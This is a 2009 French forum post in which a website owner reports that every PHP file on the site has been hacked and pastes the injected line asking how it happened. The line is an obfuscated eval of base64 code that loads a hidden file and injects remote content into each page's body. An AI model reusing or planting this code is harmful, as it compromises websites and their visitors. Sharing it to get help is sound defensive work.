---

Forum » » Sécurité » » Forum.php piraté !

---

Posté : 28 févr. 2009 à 12:30

Encore une précision :

<?php /**/eval(base_64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvbW50LzE1Mi9zZGEvMi8zL2N0by9lZGl0ZXVyL3RpbnlfbWNlL3RoZW1lcy9ucGRzL2RvY3MvZW5nbGlzaC9pbWFnZXMvY29wcGVyLnBocCcpKXtpbmNsdWRlX29uY2UoJy9tbnQvMTUyL3NkYS8yLzMvY3RvL2VkaXRldXIvdGlueV9tY2UvdGhlbWVzL25wZHMvZG9jcy9lbmdsaXNoL2ltYWdlcy9jb3BwZXIucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJGQpeyRmPW9yZChzdWJzdHIoJGQsMywxKSk7JGg9MTA7JGU9MDtpZigkZiY0KXskZT11bnBhY2soJ3YnLHN1YnN0cigkZCwxMCwyKSk7JGU9JGVbMV07JGgrPTIrJGU7fWlmKCRmJjgpeyRoPXN0cnBvcygkZCxjaHIoMCksJGgpKzE7fWlmKCRmJjE2KXskaD1zdHJwb3MoJGQsY2hyKDApLCRoKSsxO31pZigkZiYyKXskaCs9Mjt9JHU9Z3ppbmZsYXRlKHN1YnN0cigkZCwkaCkpO2lmKCR1PT09RkFMU0UpeyR1PSRkO31yZXR1cm4gJHU7fX1mdW5jdGlvbiBkZ29iaCgkYil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JGM9Z3pkZWNvZGUoJGIpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRjKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJGMpO31lbHNle3JldHVybiBnbWwoKS4kYzt9fW9iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>


Voici la ligne de code qui apparait dans tous mes fichiers PHP...
D'après l'archive originale cela version Sable, il semble que cela n'y soit pas.

Comment cela est-ce possible ?
++

---

Cet article provient de NPDS
https://www.npds.org/viewtopic.php?topic=24225&forum=12